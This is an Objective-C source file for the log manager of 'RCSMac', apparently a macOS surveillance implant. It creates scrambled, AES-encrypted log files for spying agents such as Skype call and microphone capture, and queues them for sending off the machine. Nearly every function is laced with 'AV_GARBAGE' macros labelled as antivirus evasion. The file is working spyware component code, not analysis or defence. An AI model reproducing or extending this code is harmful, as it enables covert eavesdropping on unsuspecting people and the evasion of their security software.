/*
 * RCSMac - Log Manager
 *  Logging facilities, this class is a singleton which will be referenced
 *  by all the single agents providing ways for writing log data per agentID
 *  or agentLogFileHandle.
 *
 *
 *  - Provide all the instance methods in order to access and remove items from
 *    the queues without the needs for external objects to access the queue
 *    directly, aka Keep It Pr1v4t3!
 *
 * Created by Alfredo 'revenge' Pesoli on 16/06/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#import <CommonCrypto/CommonDigest.h>

#import "RCSMLogManager.h"
#import "RCSMEncryption.h"
#import "RCSMDiskQuota.h"
#import "RCSMGlobals.h"

#import "RCSMLogger.h"
#import "RCSMDebug.h"

#import "RCSMAVGarbage.h"

static NSLock *gActiveQueueLock;
static NSLock *gSendQueueLock;

static __m_MLogManager *sharedLogManager = nil;

@interface __m_MLogManager (hidden)

- (BOOL)_addLogToQueue: (u_int)agentID queue: (int)queueType;
- (BOOL)_removeLogFromQueue: (u_int)agentID queue: (int)queueType;
- (NSData *)_createLogHeader: (u_int)agentID
                   timestamp: (int64_t)fileTime
                 agentHeader: (NSData *)anAgentHeader;
//- (int)_getLastLogSequenceNumber;

@end

@implementation __m_MLogManager (hidden)

- (BOOL)_addLogToQueue: (u_int)agentID queue: (int)queueType
{  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  return TRUE;
}

- (BOOL)_removeLogFromQueue: (u_int)agentID queue: (int)queueType
{
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  return TRUE;
}

- (NSData *)_createLogHeader: (u_int)agentID
                   timestamp: (int64_t)fileTime
                 agentHeader: (NSData *)anAgentHeader
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  
  //NSString *hostName = [[NSHost currentHost] name];
  
  char tempHost[100];
  NSString *hostName;
  if (gethostname(tempHost, 100) == 0)
    hostName = [[NSString alloc] initWithCString: tempHost];
  else
    hostName = @"EMPTY";
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  NSString *userName = NSUserName();
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  NSMutableData *logHeader = [[NSMutableData alloc] initWithLength: sizeof(logStruct)];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
#ifdef DEBUG_LOG_MANAGER
  infoLog(@"logStruct: %d", sizeof(logStruct));
#endif
  logStruct *logRawHeader = (logStruct *)[logHeader bytes];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  switch (agentID)
    {
      case AGENT_VOIP + VOIP_SKYPE + SKYPE_CHANNEL_INPUT:
      case AGENT_VOIP + VOIP_SKYPE + SKYPE_CHANNEL_OUTPUT:
        {
          agentID = AGENT_VOIP;
          break;
        }
      default:
        {
          break;
        }
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  logRawHeader->version         = LOG_VERSION;
  logRawHeader->type            = agentID;
  logRawHeader->hiTimestamp     = (int64_t)fileTime >> 32;
  logRawHeader->loTimestamp     = (int64_t)fileTime & 0xFFFFFFFF;
  logRawHeader->deviceIdLength  = [hostName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
  logRawHeader->userIdLength    = [userName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
  logRawHeader->sourceIdLength  = 0;
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  if (anAgentHeader != nil && anAgentHeader != 0)
    logRawHeader->additionalDataLength = [anAgentHeader length];
  else
    logRawHeader->additionalDataLength = 0;

  int headerLength = sizeof(logStruct)
                      + logRawHeader->deviceIdLength
                      + logRawHeader->userIdLength
                      + logRawHeader->sourceIdLength
                      + logRawHeader->additionalDataLength;
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  int paddedLength = headerLength;

  if (paddedLength % kCCBlockSizeAES128)
    {
      int pad = (paddedLength + kCCBlockSizeAES128 & ~(kCCBlockSizeAES128 - 1)) - paddedLength;
      paddedLength += pad;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  paddedLength += sizeof(int);
  
  if (paddedLength < headerLength)
    {
      [logHeader release];
      [outerPool release];
      return nil;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  NSMutableData *rawHeader = [[NSMutableData alloc] initWithCapacity: [logHeader length]
                              + [hostName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding]
                              + [userName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding]
                              + [anAgentHeader length]];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  // Clear dword at the start of the file which specifies the size of the
  // unencrypted data
  headerLength = paddedLength - sizeof(int);

  [rawHeader appendData: logHeader];
  [rawHeader appendData: [hostName dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
  [rawHeader appendData: [userName dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [hostName release];
  [logHeader release];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  if (anAgentHeader != nil)
    [rawHeader appendData: anAgentHeader];

  NSData *temp = [[NSData alloc] initWithBytes: gLogAesKey
                                        length: CC_MD5_DIGEST_LENGTH];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  CCCryptorStatus result = 0;
  
  // no padding on aligned blocks
  result = [rawHeader __encryptWithKey: temp];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  [temp release];
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  if (result == kCCSuccess)
    {
      NSMutableData *header = [[NSMutableData alloc] initWithCapacity: headerLength + sizeof(int)];
      [header appendBytes: &headerLength length: sizeof(headerLength)];
      [header appendData: rawHeader];
      
      // AV evasion: only on release build
      AV_GARBAGE_006
      
      [rawHeader release];
      [outerPool release];
      
      return [header autorelease];
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  [outerPool release];  
  return nil;
}

@end


@implementation __m_MLogManager

#pragma mark -
#pragma mark Class and init methods
#pragma mark -

+ (__m_MLogManager *)sharedInstance
{
  @synchronized(self)
  {
    if (sharedLogManager == nil)
      {
        //
        // Assignment is not done here
        //
        [[self alloc] init];
      }
  }
  
  return sharedLogManager;
}

+ (id)allocWithZone: (NSZone *)aZone
{
  @synchronized(self)
  {
    if (sharedLogManager == nil)
      {
        sharedLogManager = [super allocWithZone: aZone];
        
        //
        // Assignment and return on first allocation
        //
        return sharedLogManager;
      }
  }
  
  // On subsequent allocation attemps return nil
  return nil;
}

- (id)copyWithZone: (NSZone *)aZone
{
  return self;
}

- (id)init
{
  Class myClass = [self class];
  
  @synchronized(myClass)
    {
      if (sharedLogManager != nil)
        {
          self = [super init];
          
          if (self != nil)
            {
              mActiveQueue = [[NSMutableArray alloc] init];
              mSendQueue = [[NSMutableArray alloc] init];
              mTempQueue = [[NSMutableArray alloc] init];
              
#ifdef DEV_MODE
              unsigned char result[CC_MD5_DIGEST_LENGTH];
              CC_MD5(gLogAesKey, strlen(gLogAesKey), result);
              
              NSData *temp = [NSData dataWithBytes: result
                                            length: CC_MD5_DIGEST_LENGTH];
#else
              NSData *temp = [NSData dataWithBytes: gLogAesKey
                                            length: CC_MD5_DIGEST_LENGTH];
#endif
              
              mEncryption = [[__m_MEncryption alloc] initWithKey: temp];
              
              gActiveQueueLock = [[NSLock alloc] init];
              gSendQueueLock   = [[NSLock alloc] init];
            }
          
          sharedLogManager = self;
        }
    }
  
  return sharedLogManager;
}

- (void)release
{
  // Do nothing
}

- (id)autorelease
{
  return self;
}

- (id)retain
{
  return self;
}

- (unsigned)retainCount
{
  // Denotes an object that cannot be released
  return UINT_MAX;
}

#pragma mark -
#pragma mark Logging facilities
#pragma mark -

- (void)updateLogQueue
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  NSString *encLog;
  NSString *logName;
  NSArray *logs;
  NSRange range;
    
  logName = [[NSString alloc] initWithFormat:@"%@", @"LOGF_"];
  
  encLog = [NSString stringWithFormat:@"%@", [mEncryption scrambleForward: logName
                                                                     seed: gLogAesKey[0]]];

  logs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:[[NSBundle mainBundle] bundlePath]
                                                             error: nil];
  
  range.location = 0;
  range.length = [encLog lengthOfBytesUsingEncoding:NSUTF8StringEncoding];
   
  // Bogus agent ID used in removeSendLog:withLogID
  NSNumber *agent   = [[NSNumber alloc] initWithUnsignedInt: 0x00FFFFFF];
  
  for (int i=0; i < [logs count]; i++)
  {
    NSString *fileName = (NSString*) [logs objectAtIndex:i];
    
    // Bogus logID used in removeSendLog:withLogID
    NSNumber *_logID  = [[NSNumber alloc] initWithUnsignedInt: i];
    
    if ([fileName length] > range.length &&
        [[fileName substringWithRange:range] compare: encLog] == NSOrderedSame)
    {
      NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
      
      NSString *pathName = [NSString stringWithFormat:@"%@/%@",
                                                      [[NSBundle mainBundle] bundlePath],
                                                      fileName];
      
      NSArray *keys = [NSArray arrayWithObjects:@"agentID",
                                                @"logID",
                                                @"logName",
                                                @"handle",
                                                @"header",
                                                nil];

      NSArray *objects = [NSArray arrayWithObjects:agent,
                                                   _logID,
                                                   pathName,
                                                   @"NONE",
                                                   @"NO",
                                                   nil];
    
      NSMutableDictionary *agentLog = [[NSMutableDictionary alloc] init];
      
      NSDictionary *dictionary = [NSDictionary dictionaryWithObjects: objects
                                                             forKeys: keys];
      [agentLog addEntriesFromDictionary: dictionary];
      
      [mSendQueue addObject: agentLog];
      
      [agentLog release];
      
      [inner release];
    }
  }
  
  [pool release];
}

- (BOOL)createLog: (u_int)agentID
      agentHeader: (NSData *)anAgentHeader
        withLogID: (u_int)logID
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  BOOL success;
  NSError *error;
  
  int64_t filetime;
  NSString *encryptedLogName;
  
  usleep(30000);
  
  int32_t hiPart;
  int32_t loPart;
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  do
    {
      time_t unixTime;
      time(&unixTime);
#ifdef DEBUG_LOG_MANAGER
      infoLog(@"unixTime: %x", unixTime);
#endif
      filetime = ((int64_t)unixTime * (int64_t)RATE_DIFF) + (int64_t)EPOCH_DIFF;
#ifdef DEBUG_LOG_MANAGER
      infoLog(@"TIME: %x", (int64_t)filetime);
#endif
      hiPart = (int64_t)filetime >> 32;
      loPart = (int64_t)filetime & 0xFFFFFFFF;
      
#ifdef DEBUG_LOG_MANAGER
      infoLog(@"hiPart: %x", hiPart);
      infoLog(@"loPart: %x", loPart);
#endif
      NSString *logName = [[NSString alloc] initWithFormat: @"LOGF_%.4X_%.8X%.8X.log",
                                                            agentID,
                                                            hiPart,
                                                            loPart];
#ifdef DEBUG_LOG_MANAGER
      infoLog(@"LogName: %@", logName);
#endif
      
      // AV evasion: only on release build
      AV_GARBAGE_001
      
      encryptedLogName = [NSString stringWithFormat: @"%@/%@",
                          [[NSBundle mainBundle] bundlePath],
                          [mEncryption scrambleForward: logName
                                                  seed: gLogAesKey[0]]];
      
      // AV evasion: only on release build
      AV_GARBAGE_005
      
      [logName release];
    }
  while ([[NSFileManager defaultManager] fileExistsAtPath: encryptedLogName] == TRUE);
  
  [encryptedLogName retain];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
#ifdef DEBUG_LOG_MANAGER
  infoLog(@"Creating log: %@ id [%d]", encryptedLogName, agentID);
  infoLog(@"anAgentHeader: %@", anAgentHeader);
#endif
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  success = [@"" writeToFile: encryptedLogName
                  atomically: NO
                    encoding: NSUnicodeStringEncoding
                       error: &error];
  
#ifdef WRITE_CLEAR_TEXT_LOG
  NSString *logName = [[NSString alloc] initWithFormat: @"LOGF_%.4X_%.8X%.8X.log",
                                                        agentID,
                                                        hiPart,
                                                        loPart];
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  NSString *logPath = [NSString stringWithFormat: @"%@/%@",
                       [[NSBundle mainBundle] bundlePath], logName];
                                              
  infoLog(@"Creating clear text file: %@", logName);
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  [@"" writeToFile: logPath
        atomically: NO
          encoding: NSUnicodeStringEncoding
             error: nil];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  NSFileHandle *clearTextHandle = [NSFileHandle fileHandleForUpdatingAtPath: logPath];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  if (clearTextHandle)
    {
      infoLog(@"Handle for clear text log acquired correctly");
    }
  else
    {
      infoLog(@"An error occurred while obtaining handle for clear text log");
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [logName release];
#endif
  
  if (success == YES)
  {  
    // AV evasion: only on release build
    AV_GARBAGE_003
    
      NSFileHandle *logFileHandle = [NSFileHandle fileHandleForUpdatingAtPath:
                                     encryptedLogName];
    
    // AV evasion: only on release build
    AV_GARBAGE_005
    
      if (logFileHandle)
        {
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"LogHandle acquired");
#endif
          NSNumber *agent   = [[NSNumber alloc] initWithUnsignedInt: agentID];
          NSNumber *_logID  = [[NSNumber alloc] initWithUnsignedInt: logID];
          
          // AV evasion: only on release build
          AV_GARBAGE_006
          
#ifdef WRITE_CLEAR_TEXT_LOG
          NSArray *keys = [NSArray arrayWithObjects: @"agentID",
                                                     @"logID",
                                                     @"logName",
                                                     @"handle",
                                                     @"clearHandle",
                                                     @"header",
                                                     nil];
#else
          NSArray *keys = [NSArray arrayWithObjects: @"agentID",
                                                     @"logID",
                                                     @"logName",
                                                     @"handle",
                                                     @"header",
                                                     nil];
#endif
          NSArray *objects;
          
          // AV evasion: only on release build
          AV_GARBAGE_007
          
          if (anAgentHeader == nil)
            {
#ifdef WRITE_CLEAR_TEXT_LOG
              objects = [NSArray arrayWithObjects: agent,
                                                   _logID,
                                                   encryptedLogName,
                                                   logFileHandle,
                                                   clearTextHandle,
                                                   @"NO",
                                                   nil];
#else
              objects = [NSArray arrayWithObjects: agent,
                                                   _logID,
                                                   encryptedLogName,
                                                   logFileHandle,
                                                   @"NO",
                                                   nil];
#endif
            }
          else
            {
#ifdef WRITE_CLEAR_TEXT_LOG
              objects = [NSArray arrayWithObjects: agent,
                                                   _logID,
                                                   encryptedLogName,
                                                   logFileHandle,
                                                   clearTextHandle,
                                                   anAgentHeader,
                                                   nil];
#else
              objects = [NSArray arrayWithObjects: agent,
                                                   _logID,
                                                   encryptedLogName,
                                                   logFileHandle,
                                                   anAgentHeader,
                                                   nil];
#endif
            }
          
          NSMutableDictionary *agentLog = [[NSMutableDictionary alloc] init];
          NSDictionary *dictionary = [NSDictionary dictionaryWithObjects: objects
                                                                 forKeys: keys];
          [agentLog addEntriesFromDictionary: dictionary];
          
          // AV evasion: only on release build
          AV_GARBAGE_008
          
          [gActiveQueueLock lock];
          [mActiveQueue addObject: agentLog];
          [gActiveQueueLock unlock];
          
          [agent release];
          [_logID release];
          
          // AV evasion: only on release build
          AV_GARBAGE_009
          
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"activeQueue from Create: %@", mActiveQueue);
#endif
          
          //
          // logHeader contains the whole encrypted header
          // first dword is in clear text (padded size)
          //
          NSData *logHeader = [self _createLogHeader: agentID
                                           timestamp: filetime
                                         agentHeader: anAgentHeader];
          
          // AV evasion: only on release build
          AV_GARBAGE_003
          
          if (logHeader == nil)
            {
#ifdef DEBUG_LOG_MANAGER
              infoLog(@"An error occurred while creating log Header");
#endif   
              [agentLog release];
              [outerPool release];
              [encryptedLogName release];
              
              return FALSE;
            }
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"encrypted Header: %@", logHeader);
#endif
          
          // AV evasion: only on release build
          AV_GARBAGE_002
          
          if ([self writeDataToLog: logHeader
                         forHandle: logFileHandle] == FALSE)
            {
              [agentLog release];
              [encryptedLogName release];
              return FALSE;
            }
          
          // AV evasion: only on release build
          AV_GARBAGE_001
          
          [agentLog release];
          [encryptedLogName release];
          [outerPool release];
          
          // AV evasion: only on release build
          AV_GARBAGE_000
          
          return TRUE;
        }
    }

#ifdef DEBUG_LOG_MANAGER
  infoLog(@"An error occurred while creating the log file");
#endif
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [encryptedLogName release];
  [outerPool release];
  
  return FALSE;
}

- (BOOL)writeDataToLog: (NSData *)aData forHandle: (NSFileHandle *)anHandle
{  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  @try
  {
    [anHandle writeData: aData];
    
    // increment disk quota
    [[__m_MDiskQuota sharedInstance] incUsed: [aData length]];
  }
  @catch (NSException *e)
  {
#ifdef DEBUG_LOG_MANAGER
    infoLog(@"%s exception", __FUNCTION__);
#endif
    
    return FALSE;
  }
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  return TRUE;
}

- (BOOL)writeDataToLog: (NSMutableData *)aData
              forAgent: (u_int)agentID
             withLogID: (u_int)logID
{
  BOOL logFound = FALSE;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [gActiveQueueLock lock];
  NSEnumerator *enumerator = [mActiveQueue objectEnumerator];
  [gActiveQueueLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  id anObject;

  while (anObject = [enumerator nextObject])
  {
    if ([[anObject objectForKey: @"agentID"] unsignedIntValue] == agentID
        && ([[anObject objectForKey: @"logID"] unsignedIntValue] == logID || logID == 0))
    {

      logFound = TRUE;
      
      // AV evasion: only on release build
      AV_GARBAGE_009
      
      NSFileHandle *logHandle = [anObject objectForKey: @"handle"];
      
      NSData *temp = [NSData dataWithBytes: gLogAesKey
                                    length: CC_MD5_DIGEST_LENGTH];

      // AV evasion: only on release build
      AV_GARBAGE_006
      
      int _blockSize = [aData length];
      NSData *blockSize = [NSData dataWithBytes: (void *)&_blockSize
                                         length: sizeof(int)];

      // AV evasion: only on release build
      AV_GARBAGE_002
/*
#ifdef WRITE_CLEAR_TEXT_LOG
      NSFileHandle *clearHandle = [anObject objectForKey: @"clearHandle"];
      [clearHandle writeData: blockSize];
      [clearHandle writeData: aData];
#endif
  */
      CCCryptorStatus result = 0;
      result = [aData __encryptWithKey: temp];
     
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      if (result == kCCSuccess)
      {
        // Writing the size of the clear text block
        [logHandle writeData: blockSize];
        // then our log data
        [logHandle writeData: aData];
        
        // AV evasion: only on release build
        AV_GARBAGE_002
        
        // increment disk quota
        [[__m_MDiskQuota sharedInstance] incUsed: [aData length] + sizeof(blockSize)];
        
        break;
      }
    }
  }
 
  //
  // If logFound is false and we called this function, it means that the agent
  // is running but no file was created, thus we need to do it here
  //
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  //
  // TODO: There's a non-issue race condition here, this means that two files
  // could be created instead of one if the sync is running and closeActiveLogs
  // has been called by passing TRUE for continueLogging
  //
  if (logFound == FALSE)
  {
    return FALSE;
  }
 
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  return TRUE;
}

- (BOOL)closeActiveLogsAndContinueLogging: (BOOL)continueLogging
{
  NSMutableIndexSet *discardedItem  = [NSMutableIndexSet indexSet];
  NSMutableArray *newItems          = [[NSMutableArray alloc] init];
  NSMutableArray *tempAgentsConf    = [[NSMutableArray alloc] init];
  NSUInteger index                  = 0;
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  id item;
  
  for (item in mActiveQueue)
  {  
    // AV evasion: only on release build
    AV_GARBAGE_004
    
      int32_t agentID = [[item objectForKey: @"agentID"] intValue];

      if (continueLogging == YES
          && (agentID == AGENT_VOIP
          ||  agentID == AGENT_MICROPHONE))
        {
          //
          // Close all the logs except the Audio ones
          //
#ifdef DEBUG_LOG_MANAGER
          warnLog(@"Skipping Audio Log");
#endif
          continue;
        }
    
    // AV evasion: only on release build
    AV_GARBAGE_007
    
      [[item objectForKey: @"handle"] closeFile];
      [newItems addObject: item];
      [discardedItem addIndex: index];
    
    // AV evasion: only on release build
    AV_GARBAGE_003
    
      //
      // Verifying if we need to recreate the log entry so that the agents can
      // keep logging (verify for possible races here)
      //
      if (continueLogging == TRUE)
        {
          NSNumber *tempAgentID = [NSNumber numberWithInt:
                                   [[item objectForKey: @"agentID"] intValue]];
          
          // AV evasion: only on release build
          AV_GARBAGE_003
          
          id tempAgentHeader = [item objectForKey: @"header"];
          
          NSArray *keys = [NSArray arrayWithObjects: @"agentID",
                           @"header",
                           nil];
          NSArray *objects = [NSArray arrayWithObjects: tempAgentID,
                              tempAgentHeader,
                              nil];
          
          // AV evasion: only on release build
          AV_GARBAGE_008
          
          NSMutableDictionary *agent = [[NSMutableDictionary alloc] init];
          NSDictionary *dictionary = [NSDictionary dictionaryWithObjects: objects
                                                                 forKeys: keys];
          
          // AV evasion: only on release build
          AV_GARBAGE_001
          
          [agent addEntriesFromDictionary: dictionary];
          [tempAgentsConf addObject: agent];
          [agent release];
          
          // AV evasion: only on release build
          AV_GARBAGE_000
          
        }
      
      index++;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [gActiveQueueLock lock];
  [gSendQueueLock lock];
  
  [mActiveQueue removeObjectsAtIndexes: discardedItem];
  if ([newItems count] > 0)
  	[mSendQueue addObjectsFromArray: newItems];
 
  [gSendQueueLock unlock];
  [gActiveQueueLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  if (continueLogging == TRUE)
    {
#ifdef DEBUG_LOG_MANAGER
      infoLog(@"Recreating agents log");
#endif  
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      for (id agent in tempAgentsConf)
        {
          id agentHeader = [agent objectForKey: @"header"];
          
          // AV evasion: only on release build
          AV_GARBAGE_005
          
          if ([agentHeader isKindOfClass: [NSString class]])
            {
              if ([agentHeader isEqualToString: @"NO"])
                {
#ifdef DEBUG_LOG_MANAGER
                  infoLog(@"No Agent Header found");
#endif
                  [self createLog: [[agent objectForKey: @"agentID"] intValue]
                      agentHeader: nil
                        withLogID: [[agent objectForKey: @"logID"] intValue]];
                }
            }
          else if ([agentHeader isKindOfClass: [NSData class]])
            {
#ifdef DEBUG_LOG_MANAGER
              infoLog(@"agentHeader (%@)", [agentHeader class]);
              infoLog(@"agentHeader = %@", agentHeader);
#endif
              
              // AV evasion: only on release build
              AV_GARBAGE_003
              
              NSData *_agentHeader = [[NSData alloc] initWithData: [agent objectForKey: @"header"]];
              
              [self createLog: [[agent objectForKey: @"agentID"] intValue]
                  agentHeader: _agentHeader
                    withLogID: [[agent objectForKey: @"logID"] intValue]];
              
              // AV evasion: only on release build
              AV_GARBAGE_002
              
              [_agentHeader release];
            }
        }
    }
  
#ifdef DEBUG_LOG_MANAGER
  infoLog(@"Logs recreated correctly");
#endif
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [newItems release];
  [tempAgentsConf release];
  
  return TRUE;
}

- (BOOL)closeActiveLog: (u_int)agentID
             withLogID: (u_int)logID
{
  NSMutableIndexSet *discardedItem  = [NSMutableIndexSet indexSet];
  NSUInteger index                  = 0;
  id anObject;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  for (anObject in mActiveQueue)
  {  
    // AV evasion: only on release build
    AV_GARBAGE_002
    
      if ([[anObject objectForKey: @"agentID"] unsignedIntValue] == agentID
          && ([[anObject objectForKey: @"logID"] unsignedIntValue] == logID || logID == 0))
        {
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"Closing Log %@", [anObject objectForKey: @"logName"]);
#endif
          [[anObject objectForKey: @"handle"] closeFile];

#ifdef WRITE_CLEAR_TEXT_LOG
          [[anObject objectForKey: @"clearHandle"] closeFile];
#endif
          
          // AV evasion: only on release build
          AV_GARBAGE_003
          
          //
          // Now put the log in the sendQueue and remove it from the active queue
          //
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"mSendQueue: %@", mSendQueue);
          infoLog(@"mActiveQueue: %@", mActiveQueue);
#endif
          [discardedItem addIndex: index];
          
          [gActiveQueueLock lock];
          [gSendQueueLock lock];
          
          [mSendQueue addObject: anObject];
          [mActiveQueue removeObjectsAtIndexes: discardedItem];
          
          [gSendQueueLock unlock];
          [gActiveQueueLock unlock];
          
#ifdef DEBUG_LOG_MANAGER
          infoLog(@"mSendQueue: %@", mSendQueue);
          infoLog(@"mActiveQueue: %@", mActiveQueue);
#endif
          
          // AV evasion: only on release build
          AV_GARBAGE_000
          
          return TRUE;
        }
      index++;
    }
  
  usleep(80000);
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  return FALSE;
}

- (BOOL)removeSendLog: (u_int)agentID
            withLogID: (u_int)logID
{
#ifdef DEBUG_LOG_MANAGER
  infoLog(@"Removing Log Entry from the Send queue");
#endif
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  NSMutableIndexSet *discardedItem = [NSMutableIndexSet indexSet];
  NSUInteger index = 0;
  
  id item;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  for (item in mSendQueue)
    {
      if ([[item objectForKey: @"agentID"] unsignedIntValue] == agentID
          && ([[item objectForKey: @"logID"] unsignedIntValue] == logID || logID == 0))
        {
          [discardedItem addIndex: index];
          break;
        }
      
      index++;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  [mSendQueue removeObjectsAtIndexes: discardedItem];

    return TRUE;
}

#pragma mark -
#pragma mark Accessors
#pragma mark -

- (NSEnumerator *)getSendQueueEnumerator
{
  NSEnumerator *enumerator;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [gSendQueueLock lock];
  
  if ([mSendQueue count] > 0)
    enumerator = [[[mSendQueue copy] autorelease] objectEnumerator];
  else
    enumerator = nil;
  
  [gSendQueueLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  return enumerator;
}

- (NSMutableArray *)mActiveQueue
{
  return mActiveQueue;
}

- (NSEnumerator *)getActiveQueueEnumerator
{
  NSEnumerator *enumerator;
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [gActiveQueueLock lock];

  if ([mActiveQueue count] > 0)
    enumerator = [[[mActiveQueue copy] autorelease] objectEnumerator];
  else
    enumerator = nil;
  
  [gActiveQueueLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  return enumerator;
}


@end
